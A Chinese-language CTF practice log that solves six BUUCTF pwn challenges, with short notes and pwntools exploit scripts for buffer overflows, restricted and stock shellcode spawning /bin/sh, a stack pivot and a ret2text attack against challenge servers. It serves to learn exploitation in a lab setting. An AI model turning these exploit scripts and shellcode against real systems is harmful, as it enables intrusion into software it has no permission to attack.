BUUCTF刷题7

护网杯_2018_gettingstart：（浮点数内存表示）

参考师傅：护网杯_2018_gettingstart（浮点数内存表示） · 语雀 (yuque.com)

主要就是double怎么转化到计算机里存储的

一个在线计算网站：

Double (IEEE754 Double precision 64-bit) Converter (binaryconvert.com)

from pwn import *
r = remote('node4.buuoj.cn',29374 )
r.sendline('a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
r.interactive()

starctf_2019_babyshell：（有限制的shellcode）

参考师傅： BUUCTF-pwn]——starctf_2019_babyshell_Y_peak的博客-CSDN博客_starctf_2019_babyshell

能绕过循环检查\x00

\x00B后面加上一个字符， 对应一个汇编语句

\x00J\x00也行

from pwn import *
r = remote('node4.buuoj.cn',25763 )
context.arch='amd64'
sc=asm('''
    mov rbx, 0x68732f6e69622f  
    push rbx
    push rsp 
    pop rdi
    xor esi, esi               
    xor edx, edx           
    push 0x3b
    pop rax
    syscall
''')
r.send('\x00bb'+sc)
r.interactive()

picoctf_2018_buffer overflow 0：

ssh-p 27306 CTFMan@node4.buuoj.cn

连入ssh，输入密码guest

这里的函数signal(11, sigsegv_handler);

如果是无效的内存引用就执行sigsegv_handler函数，

里面是fprintf(stderr, “%s\n”, flag)

以字符串的形式发送flag到stderr流当中

stderr：【unix】标准输出(设备)文件，对应终端的屏幕。进程将从标准输入文件中得到输入数据，将正常输出数据输出到标准输出文件，而将错误信息送到标准错误文件中。在C中，程序执行时，一直处于开启状态。

Linux常用系统函数 - tigerloveapple - 博客园 (cnblogs.com)：

getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

返回值：返回有效的组识别码.

getresgid() 分别获取真实的,有效的和保存过的组标识号

这题我们

./vuln argv[1]

./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

多输几个a，溢出了就会输出flag

参考师傅：picoctf_2018_buffer overflow 0（7/100） - 简书 (jianshu.com)

[BSidesCF 2019]Runit：（shellcode）

from pwn import *
#from LibcSearcher import * 
local_file  = './runit'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',28642 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#----------------------------
context.arch='i386'
sc=asm(shellcraft.sh())
sl(sc)
r.interactive()

wdb_2018_3rd_soEasy：(栈迁移)

from pwn import *
#from LibcSearcher import * 
local_file  = './wdb_2018_3rd_soEasy'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',29461 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#----------------------------
leave_ret=0x08048478
context.arch='i386'
ru('Hei,give you a gift->0x')
context.arch='i386'
sc=asm(shellcraft.sh())
stack=int(rc(8),16)
print hex(stack)
sl('aaaa'+sc.ljust(0x48,'\x00')+p32(stack)+p32(leave_ret))
r.interactive()

suctf_2018_stack：（栈平衡）

Ubuntu18要检查栈平衡

ret2text涉及到的堆栈平衡问题_一路开花●-●的博客-CSDN博客

from LibcSearcher import * 
local_file  = './SUCTF_2018_stack'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',25323 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#---------------------------------------------
backdoor=0x400676
sl('a'*0x20+'b'*8+p64(backdoor+1))
#sl('a'*0x20+'b'*8+p64(backdoor+2))
r.interactive()

实际操作的话加个ret就行，如果有限制，无脑的做法加减几个数试试